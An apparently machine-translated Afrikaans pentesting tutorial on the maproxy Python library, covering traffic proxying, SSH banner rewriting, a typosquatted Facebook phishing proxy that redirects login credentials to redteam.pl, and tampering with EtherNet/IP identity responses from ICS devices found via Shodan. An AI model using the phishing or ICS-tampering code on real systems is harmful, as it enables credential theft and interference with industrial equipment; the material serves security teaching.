Die vertaling van die artikel is voorberei op die vooraand van die aanvang van die kursus
abstrakte
'n Verskeidenheid tipes sekuriteitsbeoordelings, wat wissel van gereelde penetrasietoetsing en Red Team-bedrywighede tot inbraak IoT/ICS-toestelle en SCADA, behels die werk met binêre netwerkprotokolle, dit wil sê, in wese die onderskep en wysiging van netwerkdata tussen die kliënt en die teiken. Om netwerkverkeer te snuif is nie 'n moeilike taak nie, aangesien ons gereedskap soos Wireshark, Tcpdump of Scapy het, maar verandering blyk 'n meer arbeidsintensiewe taak te wees aangesien ons 'n soort koppelvlak sal moet hê om die netwerkdata te lees, te filter, te verander dit op die vlieg en stuur dit terug na die teiken gasheer in byna real-time. Daarbenewens sal dit ideaal wees as so 'n instrument outomaties met veelvuldige parallelle verbindings kan werk en aanpasbaar kan wees met behulp van skrifte.
Op 'n dag ontdek ek 'n instrument genaamd
, het die dokumentasie dit vinnig vir my duidelik gemaak maproxy
– net wat ek nodig het. Dit is 'n redelik eenvoudige, veelsydige en maklik konfigureerbare TCP-instaanbediener. Ek het hierdie instrument op verskeie redelik komplekse toepassings getoets, insluitend ICS-toestelle (wat baie pakkies genereer) om te sien of dit baie parallelle verbindings kan hanteer, en die instrument het goed gevaar.
Hierdie artikel sal jou bekendstel aan die verwerking van netwerkdata op die vlieg met behulp van maproxy
.
Hersien
Tool maproxy
is gebaseer op Tornado, 'n gewilde en volwasse asinchroniese netwerkraamwerk in Python.
Oor die algemeen kan dit in verskeie modusse werk:
TCP:TCP
- ongeënkripteerde TCP-verbindings;TCP:SSL
иSSL:TCP
- met eenrigting-enkripsie;SSL:SSL
– tweerigting-enkripsie.
Dit kom as 'n biblioteek. Vir 'n vinnige begin kan jy voorbeeldlêers gebruik wat die hoof weerspieël
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
Geval 1 – eenvoudige bidirectionele volmag
Gebaseer op tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
By verstek ProxyServer()
neem twee argumente – die verbindingsligging en die teikenpoort. server.listen()
neem een argument - die poort om na die inkomende verbinding te luister.
Voer die skrif uit:
# python tcp2tcp.py
Om die toets uit te voer, gaan ons aan 'n plaaslike SSH-bediener koppel deur ons proxy-skrip, wat luister 2222/tcp
poort en koppel aan 'n standaardpoort 22/tcp
SSH-bedieners:
Die verwelkomingsbanier lig jou in dat ons voorbeeldskrif die netwerkverkeer suksesvol gevolmagtig het.
Geval 2 – datamodifikasie
Nog 'n demo script logging_proxy.py
ideaal vir interaksie met netwerkdata. Die opmerkings in die lêer beskryf die klasmetodes wat jy kan verander om jou doel te bereik:
Die interessantste ding is hier:
on_c2p_done_read
– om data langs die pad van die kliënt na die bediener te onderskep;on_p2s_done_read
- omgekeer.
Kom ons probeer om die SSH-banier te verander wat die bediener na die kliënt terugstuur:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
Voer die skrif uit:
Soos u kan sien, is die kliënt mislei omdat die SSH-bedienernaam vir hom verander is na «DumnySSH»
.
Geval 3 – eenvoudige phishing-webblad
Daar is eindelose maniere om hierdie instrument te gebruik. Kom ons fokus hierdie keer op iets meer prakties van die Rooispan se operasieskant. Kom ons boots die bestemmingsblad na m.facebook.com
en gebruik 'n pasgemaakte domein met 'n doelbewuste tikfout, byvoorbeeld, m.facebok.com
. Kom ons neem vir demonstrasiedoeleindes net aan dat die domein deur ons geregistreer is.
Ons gaan 'n ongeënkripteerde netwerkverbinding tot stand bring met ons slagoffers se instaanbediener en SSL-stroom na die Facebook-bediener (31.13.81.36
). Om hierdie voorbeeld te laat werk, moet ons die HTTP-gasheeropskrif vervang en die korrekte gasheernaam inspuit, en ons sal ook reaksiekompressie deaktiveer sodat ons maklik toegang tot die inhoud kan kry. Uiteindelik sal ons die HTML-vorm vervang sodat die aanmeldbewyse aan ons gestuur word in plaas van Facebook se bedieners:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/af/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
Ter opsomming:
Soos u kan sien, kon ons die oorspronklike webwerf suksesvol vervang.
Geval 4 – Oordra Ethernet/IP
Ek het al 'n geruime tyd met industriële toestelle en sagteware (ICS/SCADA) te doen, soos programmeerbare beheerders (PLC), I/O-modules, aandrywers, relais, leerprogrammeeromgewings en vele meer. Hierdie geval is vir diegene wat van industriële dinge hou. Om sulke oplossings te hack behels aktief speel met netwerkprotokolle. In die volgende voorbeeld wil ek graag wys hoe jy ICS/SCADA-netwerkverkeer kan verander.
Hiervoor sal jy die volgende nodig hê:
- Netwerksnuffel, byvoorbeeld, Wireshark;
- Ethernet/IP of net 'n SIP-toestel, jy kan dit vind met die Shodan-diens;
- Ons draaiboek is gebaseer op
maproxy
.
Kom ons kyk eers hoe 'n tipiese identifikasie-reaksie van CIP (Common Industrial Protocol) lyk:
Toestelidentifikasie word bewerkstellig met behulp van die Ethernet/IP-protokol, wat 'n verbeterde weergawe van die industriële Ethernet-protokol is wat beheerprotokolle soos CIP omvou. Ons gaan die gemerkte ID-naam wat in die skermkiekie sigbaar is, verander "NI-IndComm vir Ethernet" met behulp van ons proxy script. Ons kan die skrif hergebruik logging_proxy.py
en verander op soortgelyke wyse die klasmetode on_p2s_done_read
, want ons wil hê dat 'n ander identiteitsnaam op die kliënt sigbaar moet wees.
Kode:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
In wese het ons twee keer vir toestelidentifikasie gevra, die tweede antwoord was die oorspronklike een, en die eerste een is dadelik gewysig.
En die laaste
Na my mening maproxy
'n Gerieflike en eenvoudige hulpmiddel, wat ook in Python geskryf is, so ek glo dat jy ook kan baat by die gebruik daarvan. Natuurlik is daar meer komplekse gereedskap vir die verwerking en wysiging van netwerkdata, maar dit verg ook meer aandag en word gewoonlik vir 'n spesifieke gebruiksgeval geskep, bv. maproxy
jy kan vinnig jou idees implementeer om netwerkdata te onderskep, aangesien die voorbeeldskrifte baie duidelik is.
Bron: will.com